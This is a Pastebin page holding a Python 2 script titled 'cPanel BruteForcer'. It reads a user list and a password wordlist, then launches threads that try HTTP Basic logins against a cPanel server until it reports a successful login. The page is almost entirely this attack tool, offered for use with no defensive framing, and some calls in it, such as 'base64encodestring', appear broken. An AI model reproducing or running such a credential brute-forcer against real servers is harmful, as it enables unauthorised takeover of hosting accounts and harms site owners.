Advertisement
parkdream1

cPanel BruteForcer.py

Jul 13th, 2012
388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.31 KB | None | 0 0
  1. #!usr/bin/python
  2. #cPanel BruteForcer
  3. #http://www.darkc0de.com
  4. #d3hydr8[at]gmail[dot]com
  5.  
  6. import threading, time, random, sys, urllib2, httplib, base64
  7. from copy import copy
  8.  
  9. def title():
  10.     print "\n\t   d3hydr8[at]gmail[dot]com cPanel BruteForcer v1.0"
  11.     print "\t-----------------------------------------------------\n"
  12.    
  13. def timer():
  14.     now = time.localtime(time.time())
  15.     return time.asctime(now)
  16.    
  17. if len(sys.argv) !=5:
  18.     title()
  19.     print "\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\n"
  20.     print "ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\n"
  21.     sys.exit(1)
  22.  
  23. try:
  24.     users = open(sys.argv[3], "r").readlines()
  25. except(IOError):
  26.     print "Error: Check your userlist path\n"
  27.     sys.exit(1)
  28.  
  29. try:
  30.     words = open(sys.argv[4], "r").readlines()
  31. except(IOError):
  32.     print "Error: Check your wordlist path\n"
  33.     sys.exit(1)
  34.  
  35. wordlist = copy(words)
  36.  
  37. def reloader():
  38.     for word in wordlist:
  39.         words.append(word)
  40.  
  41. def getword():
  42.     lock = threading.Lock()
  43.     lock.acquire()
  44.     if len(words) != 0:
  45.         value = random.sample(words,  1)
  46.         words.remove(value[0])     
  47.     else:
  48.         print "\nReloading Wordlist - Changing User\n"
  49.         reloader()
  50.         value = random.sample(words,  1)
  51.         users.remove(users[0])
  52.        
  53.     lock.release()
  54.     if len(users) ==1:
  55.         return users[0], value[0][:-1]
  56.     else:
  57.         return users[0][:-1], value[0][:-1]
  58.  
  59. def getauth(url):
  60.    
  61.     req = urllib2.Request(url)
  62.     try:
  63.             handle = urllib2.urlopen(req)
  64.     except IOError, e:              
  65.             pass
  66.     else:                              
  67.             print "This page isn't protected by basic authentication.\n"
  68.             sys.exit(1)
  69.    
  70.     if not hasattr(e, 'code') or e.code != 401:                
  71.             print "\nThis page isn't protected by basic authentication."
  72.             print 'But we failed for another reason.\n'
  73.             sys.exit(1)
  74.  
  75.     authline = e.headers.get('www-authenticate', '')    
  76.          
  77.     if not authline:
  78.             print '\nA 401 error without a basic authentication response header - very weird.\n'
  79.             sys.exit(1)
  80.     else:
  81.         return authline
  82.            
  83. class Worker(threading.Thread):
  84.    
  85.     def run(self):
  86.         username, password = getword()
  87.         try:
  88.             print "-"*12
  89.             print "User:",username,"Password:",password
  90.             auth_handler = urllib2.HTTPBasicAuthHandler()
  91.             auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
  92.             opener = urllib2.build_opener(auth_handler)
  93.             urllib2.install_opener(opener)
  94.             urllib2.urlopen(server)
  95.             print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"          
  96.         except (urllib2.HTTPError, httplib.BadStatusLine), msg:
  97.             #print "An error occurred:", msg
  98.             pass
  99.        
  100. title()
  101. if sys.argv[1][-1] == "/":
  102.     sys.argv[1] = sys.argv[1][:-1]
  103. server = sys.argv[1]+":2082"
  104. if sys.argv[2].isdigit() == False:
  105.     print "[-] Port must be a number\n"
  106.     sys.exit(1)
  107. else:
  108.     port = sys.argv[2]
  109. if sys.argv[1][-1] == "/":
  110.     sys.argv[1] = sys.argv[1][:-1]
  111. server = sys.argv[1]+":"+port
  112.  
  113. print "[+] Server:",server
  114. print "[+] Port:",port
  115. print "[+] Users Loaded:",len(users)
  116. print "[+] Words Loaded:",len(words)
  117. print "[+]",getauth(server)
  118. print "[+] Started",timer(),"\n"
  119.  
  120. for i in range(len(words)*len(users)):
  121.     work = Worker()
  122.     work.setDaemon(1)
  123.     work.start()
  124.     time.sleep(1)
  125. print "\n[-] Done -",timer(),"\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement